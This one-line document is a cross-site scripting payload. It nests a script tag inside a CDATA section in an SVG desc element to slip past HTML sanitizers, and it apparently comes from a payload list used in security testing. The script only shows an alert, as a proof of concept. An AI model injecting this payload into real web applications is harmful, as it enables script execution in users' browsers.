<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
